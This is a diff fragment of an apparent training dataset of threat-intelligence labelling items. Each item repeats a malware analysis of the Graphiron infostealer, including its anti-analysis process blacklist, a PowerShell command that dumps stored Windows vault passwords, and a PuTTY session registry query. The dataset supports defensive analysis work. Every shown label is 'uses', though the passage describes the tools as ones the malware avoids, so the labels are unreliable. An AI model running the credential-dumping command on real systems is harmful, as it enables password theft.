+        "input": "### Source Entity:\nGraphiron\n### Target Entity: PEToolW\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: Proxifier\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: RAMMap\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: RAMMap64\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: ResourceHacker\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: SysInspector\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: WSockExpert\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: WinDump\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: Wireshar\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: agent.py\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
